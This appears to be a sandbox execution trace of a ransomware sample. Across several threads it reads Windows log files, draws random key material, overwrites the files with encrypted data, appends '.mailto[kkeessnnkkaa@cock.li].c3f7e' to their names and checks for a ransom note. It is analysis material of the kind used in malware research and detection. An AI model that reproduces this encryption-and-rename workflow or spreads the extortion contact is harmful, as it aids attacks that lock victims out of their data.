	[0082.994] RtlRandom (in: Seed=0x17cbfaac | out: Seed=0x17cbfaac) returned 0x554efad4
	[0082.994] RtlRandom (in: Seed=0x17cbfaac | out: Seed=0x17cbfaac) returned 0xe07cbf0f
	[0082.994] RtlRandom (in: Seed=0x17cbfaac | out: Seed=0x17cbfaac) returned 0xbe440ca6
	[0082.994] RtlRandom (in: Seed=0x17cbfaac | out: Seed=0x17cbfaac) returned 0x91832455
	[0082.994] RtlRandom (in: Seed=0x17cbfaac | out: Seed=0x17cbfaac) returned 0x228f5f6c
	[0082.994] RtlRandom (in: Seed=0x17cbfaac | out: Seed=0x17cbfaac) returned 0x847e1647
	[0082.994] RtlRandom (in: Seed=0x17cbfaac | out: Seed=0x17cbfaac) returned 0x2c42295d
	[0082.994] RtlRandom (in: Seed=0x17cbfaac | out: Seed=0x17cbfaac) returned 0xa1a06a8d
	[0082.994] RtlRandom (in: Seed=0x17cbfaac | out: Seed=0x17cbfaac) returned 0x600199b8
	[0082.994] RtlRandom (in: Seed=0x17cbfaac | out: Seed=0x17cbfaac) returned 0xd0675574
	[0082.994] RtlRandom (in: Seed=0x17cbfaac | out: Seed=0x17cbfaac) returned 0x23589a
	[0082.994] RtlRandom (in: Seed=0x17cbfaac | out: Seed=0x17cbfaac) returned 0x696714c5
	[0082.994] RtlRandom (in: Seed=0x17cbfaac | out: Seed=0x17cbfaac) returned 0xdfbf61ef
	[0082.994] RtlRandom (in: Seed=0x17cbfaac | out: Seed=0x17cbfaac) returned 0x5e87da64
	[0082.994] RtlRandom (in: Seed=0x17cbfaac | out: Seed=0x17cbfaac) returned 0x2a6c4f9c
	[0082.994] RtlRandom (in: Seed=0x17cbfaac | out: Seed=0x17cbfaac) returned 0x517c6451
	[0082.994] RtlRandom (in: Seed=0x17cbfaac | out: Seed=0x17cbfaac) returned 0xb23a0d47
	[0082.994] RtlRandom (in: Seed=0x17cbfaac | out: Seed=0x17cbfaac) returned 0xc1a5cebb
	[0082.994] RtlRandom (in: Seed=0x17cbfaac | out: Seed=0x17cbfaac) returned 0x44e491c9
	[0082.994] RtlRandom (in: Seed=0x17cbfaac | out: Seed=0x17cbfaac) returned 0xb7801ab
	[0082.994] RtlRandom (in: Seed=0x17cbfaac | out: Seed=0x17cbfaac) returned 0x498e78dd
	[0082.994] RtlRandom (in: Seed=0x17cbfaac | out: Seed=0x17cbfaac) returned 0xe69bcbac
	[0082.994] RtlRandom (in: Seed=0x17cbfaac | out: Seed=0x17cbfaac) returned 0x7e2a2668
	[0083.003] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0083.003] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33aa0) returned 1
	[0083.003] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e339d8) returned 1
	[0083.003] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4f9afc8
	[0083.003] SetFilePointerEx (in: hFile=0x16a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.003] ReadFile (in: hFile=0x16a0, lpBuffer=0x4f9afc8, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x17cbfa80, lpOverlapped=0x0 | out: lpBuffer=0x4f9afc8*, lpNumberOfBytesRead=0x17cbfa80*=0xc800, lpOverlapped=0x0) returned 1
	[0083.004] SetFilePointerEx (in: hFile=0x16a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.004] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfac88
	[0083.004] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e045b8
	[0083.004] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e339d8
	[0083.004] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e339d8) returned 1
	[0083.005] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x48dc828
	[0083.006] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e339d8
	[0083.006] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33aa0
	[0083.006] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33aa0) returned 1
	[0083.006] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e045b8) returned 1
	[0083.006] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfac88) returned 1
	[0083.006] WriteFile (in: hFile=0x16a0, lpBuffer=0x48dc828*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x17cbfa80, lpOverlapped=0x0 | out: lpBuffer=0x48dc828*, lpNumberOfBytesWritten=0x17cbfa80*=0xc800, lpOverlapped=0x0) returned 1
	[0083.008] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x48dc828) returned 1
	[0083.008] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f9afc8) returned 1
	[0083.008] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x57) returned 0x2daf608
	[0083.008] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33aa0) returned 1
	[0083.008] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x57) returned 0x2daf6c8
	[0083.008] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33aa0
	[0083.008] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33d70
	[0083.008] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33d70) returned 1
	[0083.008] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0083.008] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfad60) returned 1
	[0083.008] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x13b) returned 0x4731668
	[0083.008] SetFilePointerEx (in: hFile=0x16a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.008] WriteFile (in: hFile=0x16a0, lpBuffer=0x4731668*, nNumberOfBytesToWrite=0x13b, lpNumberOfBytesWritten=0x17cbfb00, lpOverlapped=0x0 | out: lpBuffer=0x4731668*, lpNumberOfBytesWritten=0x17cbfb00*=0x13b, lpOverlapped=0x0) returned 1
	[0083.010] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731668) returned 1
	[0083.010] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2daf6c8) returned 1
	[0083.010] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33aa0) returned 1
	[0083.010] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2daf608) returned 1
	[0083.010] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e339d8) returned 1
	[0083.010] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33a28) returned 1
	[0083.010] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e337f8) returned 1
	[0083.010] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33898) returned 1
	[0083.010] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc6) returned 0x4719460
	[0083.010] wcscpy (in: _Dest=0x4719460, _Source="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.008.etl" | out: _Dest="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.008.etl") returned="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.008.etl"
	[0083.010] wcscat (in: _Dest=0x4719460, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.008.etl.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.008.etl.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0083.010] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.008.etl.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x17cbfab8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.008.etl.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0083.010] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xdc) returned 0x47674f0
	[0083.010] NtSetInformationFile (FileHandle=0x16a0, IoStatusBlock=0x17cbfab0, FileInformation=0x47674f0, Length=0xdc, FileInformationClass=0xa) returned 0x0
	[0083.011] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47674f0) returned 1
	[0083.011] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477c7b8) returned 1
	[0083.011] NtQueryInformationFile (in: FileHandle=0x16a0, IoStatusBlock=0x17cbfac4, FileInformation=0x17cbfa9c, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x17cbfac4, FileInformation=0x17cbfa9c) returned 0x0
	[0083.011] NtSetInformationFile (FileHandle=0x16a0, IoStatusBlock=0x17cbfac4, FileInformation=0x17cbfa9c, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0083.012] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4719460) returned 1
	[0083.012] FlushFileBuffers (hFile=0x16a0) returned 1
	[0083.013] CloseHandle (hObject=0x16a0) returned 1
	[0083.017] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x58) returned 0x2daf608
	[0083.017] wcscpy (in: _Dest=0x2daf608, _Source="C:\\Program Files\\UNP\\Logs\\" | out: _Dest="C:\\Program Files\\UNP\\Logs\\") returned="C:\\Program Files\\UNP\\Logs\\"
	[0083.017] wcscat (in: _Dest=0x2daf608, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\Program Files\\UNP\\Logs\\C3F7E-Readme.txt") returned="C:\\Program Files\\UNP\\Logs\\C3F7E-Readme.txt"
	[0083.017] GetFileAttributesW (lpFileName="C:\\Program Files\\UNP\\Logs\\C3F7E-Readme.txt" (normalized: "c:\\program files\\unp\\logs\\c3f7e-readme.txt")) returned 0x20
	[0083.018] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2daf608) returned 1
	[0083.018] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e35830) returned 1

Thread:
	id = 629
	os_tid = 0x1900

	[0077.520] GetFileAttributesW (lpFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.009.etl" (normalized: "c:\\program files\\unp\\logs\\universalnotificationplatform.009.etl")) returned 0x2020
	[0082.653] SetFileAttributesW (lpFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.009.etl", dwFileAttributes=0x20) returned 1
	[0083.003] CreateFileW (lpFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.009.etl" (normalized: "c:\\program files\\unp\\logs\\universalnotificationplatform.009.etl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x16b4
	[0083.007] GetFileSizeEx (in: hFile=0x16b4, lpFileSize=0x17d3fa88 | out: lpFileSize=0x17d3fa88*=131072) returned 1
	[0083.007] SetFilePointerEx (in: hFile=0x16b4, liDistanceToMove=0x1fffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.007] ReadFile (in: hFile=0x16b4, lpBuffer=0x17d3fa0c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x17d3fa08, lpOverlapped=0x0 | out: lpBuffer=0x17d3fa0c*, lpNumberOfBytesRead=0x17d3fa08*=0x4, lpOverlapped=0x0) returned 1
	[0083.019] SetFilePointerEx (in: hFile=0x16b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.019] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e339d8
	[0083.019] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33a28
	[0083.020] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33aa0
	[0083.020] NtQuerySystemTime (in: CurrentTime=0x17d3f9e8 | out: CurrentTime=0x17d3f9e8*=132251868097494409) returned 0x0
	[0083.020] RtlRandom (in: Seed=0x17d3f9f4 | out: Seed=0x17d3f9f4) returned 0x8887c17f
	[0083.020] RtlRandom (in: Seed=0x17d3f9f4 | out: Seed=0x17d3f9f4) returned 0x73ea8fec
	[0083.020] RtlRandom (in: Seed=0x17d3f9f4 | out: Seed=0x17d3f9f4) returned 0x87f2a96e
	[0083.020] RtlRandom (in: Seed=0x17d3f9f4 | out: Seed=0x17d3f9f4) returned 0x8003a642
	[0083.020] RtlRandom (in: Seed=0x17d3f9f4 | out: Seed=0x17d3f9f4) returned 0xf604b1c8
	[0083.020] RtlRandom (in: Seed=0x17d3f9f4 | out: Seed=0x17d3f9f4) returned 0xf8774736
	[0083.020] RtlRandom (in: Seed=0x17d3f9f4 | out: Seed=0x17d3f9f4) returned 0xe1432247
	[0083.020] RtlRandom (in: Seed=0x17d3f9f4 | out: Seed=0x17d3f9f4) returned 0x72be1a3a
	[0083.020] RtlRandom (in: Seed=0x17d3f9f4 | out: Seed=0x17d3f9f4) returned 0xd8079077
	[0083.020] RtlRandom (in: Seed=0x17d3f9f4 | out: Seed=0x17d3f9f4) returned 0xe295792c
	[0083.020] RtlRandom (in: Seed=0x17d3f9f4 | out: Seed=0x17d3f9f4) returned 0x2ce6ae0
	[0083.020] RtlRandom (in: Seed=0x17d3f9f4 | out: Seed=0x17d3f9f4) returned 0x4323fc84
	[0083.020] RtlRandom (in: Seed=0x17d3f9f4 | out: Seed=0x17d3f9f4) returned 0xdc4ef63d
	[0083.020] RtlRandom (in: Seed=0x17d3f9f4 | out: Seed=0x17d3f9f4) returned 0xc445fb3a
	[0083.020] RtlRandom (in: Seed=0x17d3f9f4 | out: Seed=0x17d3f9f4) returned 0x961c5892
	[0083.020] RtlRandom (in: Seed=0x17d3f9f4 | out: Seed=0x17d3f9f4) returned 0xeb7b8888
	[0083.020] RtlRandom (in: Seed=0x17d3f9f4 | out: Seed=0x17d3f9f4) returned 0xb0ef6b4f
	[0083.020] RtlRandom (in: Seed=0x17d3f9f4 | out: Seed=0x17d3f9f4) returned 0xfcec2ba4
	[0083.020] RtlRandom (in: Seed=0x17d3f9f4 | out: Seed=0x17d3f9f4) returned 0x4d8fc9bc
	[0083.020] RtlRandom (in: Seed=0x17d3f9f4 | out: Seed=0x17d3f9f4) returned 0x6ab0ce71
	[0083.020] RtlRandom (in: Seed=0x17d3f9f4 | out: Seed=0x17d3f9f4) returned 0x361ef3a
	[0083.020] RtlRandom (in: Seed=0x17d3f9f4 | out: Seed=0x17d3f9f4) returned 0x31ef65c7
	[0083.020] RtlRandom (in: Seed=0x17d3f9f4 | out: Seed=0x17d3f9f4) returned 0x21d6ccab
	[0083.020] RtlRandom (in: Seed=0x17d3f9f4 | out: Seed=0x17d3f9f4) returned 0x63c30427
	[0083.020] RtlRandom (in: Seed=0x17d3f9f4 | out: Seed=0x17d3f9f4) returned 0xa0549ff9
	[0083.020] RtlRandom (in: Seed=0x17d3f9f4 | out: Seed=0x17d3f9f4) returned 0x349e493
	[0083.020] RtlRandom (in: Seed=0x17d3f9f4 | out: Seed=0x17d3f9f4) returned 0x78f2b99b
	[0083.020] RtlRandom (in: Seed=0x17d3f9f4 | out: Seed=0x17d3f9f4) returned 0x353c9445
	[0083.020] RtlRandom (in: Seed=0x17d3f9f4 | out: Seed=0x17d3f9f4) returned 0xa8e4338b
	[0083.020] RtlRandom (in: Seed=0x17d3f9f4 | out: Seed=0x17d3f9f4) returned 0x97158b7c
	[0083.020] RtlRandom (in: Seed=0x17d3f9f4 | out: Seed=0x17d3f9f4) returned 0x89d00af9
	[0083.020] RtlRandom (in: Seed=0x17d3f9f4 | out: Seed=0x17d3f9f4) returned 0xc395267c
	[0083.029] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0083.029] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33aa0) returned 1
	[0083.029] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e339d8) returned 1
	[0083.029] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4f9afc8
	[0083.029] SetFilePointerEx (in: hFile=0x16b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.029] ReadFile (in: hFile=0x16b4, lpBuffer=0x4f9afc8, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x17d3f9c8, lpOverlapped=0x0 | out: lpBuffer=0x4f9afc8*, lpNumberOfBytesRead=0x17d3f9c8*=0xc800, lpOverlapped=0x0) returned 1
	[0083.030] SetFilePointerEx (in: hFile=0x16b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.030] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfac88
	[0083.030] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e045b8
	[0083.030] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e339d8
	[0083.030] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e339d8) returned 1
	[0083.031] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x48dc828
	[0083.032] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e339d8
	[0083.032] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33aa0
	[0083.032] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33aa0) returned 1
	[0083.032] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e045b8) returned 1
	[0083.032] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfac88) returned 1
	[0083.032] WriteFile (in: hFile=0x16b4, lpBuffer=0x48dc828*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x17d3f9c8, lpOverlapped=0x0 | out: lpBuffer=0x48dc828*, lpNumberOfBytesWritten=0x17d3f9c8*=0xc800, lpOverlapped=0x0) returned 1
	[0083.034] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x48dc828) returned 1
	[0083.034] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f9afc8) returned 1
	[0083.034] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x57) returned 0x2daf608
	[0083.034] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33aa0) returned 1
	[0083.034] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x57) returned 0x2daf6c8
	[0083.034] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33aa0
	[0083.034] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33d70
	[0083.034] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33d70) returned 1
	[0083.034] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0083.034] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfad60) returned 1
	[0083.035] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x13b) returned 0x4731668
	[0083.035] SetFilePointerEx (in: hFile=0x16b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.035] WriteFile (in: hFile=0x16b4, lpBuffer=0x4731668*, nNumberOfBytesToWrite=0x13b, lpNumberOfBytesWritten=0x17d3fa48, lpOverlapped=0x0 | out: lpBuffer=0x4731668*, lpNumberOfBytesWritten=0x17d3fa48*=0x13b, lpOverlapped=0x0) returned 1
	[0083.037] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731668) returned 1
	[0083.037] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2daf6c8) returned 1
	[0083.037] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33aa0) returned 1
	[0083.037] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2daf608) returned 1
	[0083.037] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e339d8) returned 1
	[0083.037] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33a28) returned 1
	[0083.037] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e337f8) returned 1
	[0083.037] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33898) returned 1
	[0083.037] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc6) returned 0x4719460
	[0083.037] wcscpy (in: _Dest=0x4719460, _Source="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.009.etl" | out: _Dest="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.009.etl") returned="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.009.etl"
	[0083.037] wcscat (in: _Dest=0x4719460, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.009.etl.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.009.etl.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0083.037] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.009.etl.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x17d3fa00, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.009.etl.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0083.037] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xdc) returned 0x47674f0
	[0083.037] NtSetInformationFile (FileHandle=0x16b4, IoStatusBlock=0x17d3f9f8, FileInformation=0x47674f0, Length=0xdc, FileInformationClass=0xa) returned 0x0
	[0083.040] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47674f0) returned 1
	[0083.040] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477c7b8) returned 1
	[0083.040] NtQueryInformationFile (in: FileHandle=0x16b4, IoStatusBlock=0x17d3fa0c, FileInformation=0x17d3f9e4, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x17d3fa0c, FileInformation=0x17d3f9e4) returned 0x0
	[0083.040] NtSetInformationFile (FileHandle=0x16b4, IoStatusBlock=0x17d3fa0c, FileInformation=0x17d3f9e4, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0083.041] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4719460) returned 1
	[0083.041] FlushFileBuffers (hFile=0x16b4) returned 1
	[0083.043] CloseHandle (hObject=0x16b4) returned 1
	[0083.057] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x58) returned 0x2daf608
	[0083.057] wcscpy (in: _Dest=0x2daf608, _Source="C:\\Program Files\\UNP\\Logs\\" | out: _Dest="C:\\Program Files\\UNP\\Logs\\") returned="C:\\Program Files\\UNP\\Logs\\"
	[0083.057] wcscat (in: _Dest=0x2daf608, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\Program Files\\UNP\\Logs\\C3F7E-Readme.txt") returned="C:\\Program Files\\UNP\\Logs\\C3F7E-Readme.txt"
	[0083.058] GetFileAttributesW (lpFileName="C:\\Program Files\\UNP\\Logs\\C3F7E-Readme.txt" (normalized: "c:\\program files\\unp\\logs\\c3f7e-readme.txt")) returned 0x20
	[0083.058] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2daf608) returned 1
	[0083.058] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e35e90) returned 1

Thread:
	id = 630
	os_tid = 0x1904

	[0077.520] GetFileAttributesW (lpFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.010.etl" (normalized: "c:\\program files\\unp\\logs\\universalnotificationplatform.010.etl")) returned 0x2020
	[0082.653] SetFileAttributesW (lpFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.010.etl", dwFileAttributes=0x20) returned 1
	[0083.030] CreateFileW (lpFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.010.etl" (normalized: "c:\\program files\\unp\\logs\\universalnotificationplatform.010.etl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x16a0
	[0083.033] GetFileSizeEx (in: hFile=0x16a0, lpFileSize=0x17dbfea4 | out: lpFileSize=0x17dbfea4*=131072) returned 1
	[0083.033] SetFilePointerEx (in: hFile=0x16a0, liDistanceToMove=0x1fffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.033] ReadFile (in: hFile=0x16a0, lpBuffer=0x17dbfe28, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x17dbfe24, lpOverlapped=0x0 | out: lpBuffer=0x17dbfe28*, lpNumberOfBytesRead=0x17dbfe24*=0x4, lpOverlapped=0x0) returned 1
	[0083.044] SetFilePointerEx (in: hFile=0x16a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.044] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e339d8
	[0083.044] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33a28
	[0083.044] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33aa0
	[0083.044] NtQuerySystemTime (in: CurrentTime=0x17dbfe04 | out: CurrentTime=0x17dbfe04*=132251868097806741) returned 0x0
	[0083.044] RtlRandom (in: Seed=0x17dbfe10 | out: Seed=0x17dbfe10) returned 0x92f88893
	[0083.044] RtlRandom (in: Seed=0x17dbfe10 | out: Seed=0x17dbfe10) returned 0xfd9e1396
	[0083.044] RtlRandom (in: Seed=0x17dbfe10 | out: Seed=0x17dbfe10) returned 0x7ae15e86
	[0083.045] RtlRandom (in: Seed=0x17dbfe10 | out: Seed=0x17dbfe10) returned 0x6598176b
	[0083.045] RtlRandom (in: Seed=0x17dbfe10 | out: Seed=0x17dbfe10) returned 0xf1e599d7
	[0083.045] RtlRandom (in: Seed=0x17dbfe10 | out: Seed=0x17dbfe10) returned 0x3e8a8ba6
	[0083.045] RtlRandom (in: Seed=0x17dbfe10 | out: Seed=0x17dbfe10) returned 0x8768ead4
	[0083.045] RtlRandom (in: Seed=0x17dbfe10 | out: Seed=0x17dbfe10) returned 0xeb4e1a70
	[0083.045] RtlRandom (in: Seed=0x17dbfe10 | out: Seed=0x17dbfe10) returned 0x608af400
	[0083.045] RtlRandom (in: Seed=0x17dbfe10 | out: Seed=0x17dbfe10) returned 0x7dfc7bc7
	[0083.045] RtlRandom (in: Seed=0x17dbfe10 | out: Seed=0x17dbfe10) returned 0x52d0ec42
	[0083.045] RtlRandom (in: Seed=0x17dbfe10 | out: Seed=0x17dbfe10) returned 0x694eb0aa
	[0083.045] RtlRandom (in: Seed=0x17dbfe10 | out: Seed=0x17dbfe10) returned 0x18b79406
	[0083.045] RtlRandom (in: Seed=0x17dbfe10 | out: Seed=0x17dbfe10) returned 0x4f00ddda
	[0083.045] RtlRandom (in: Seed=0x17dbfe10 | out: Seed=0x17dbfe10) returned 0xa1123ac9
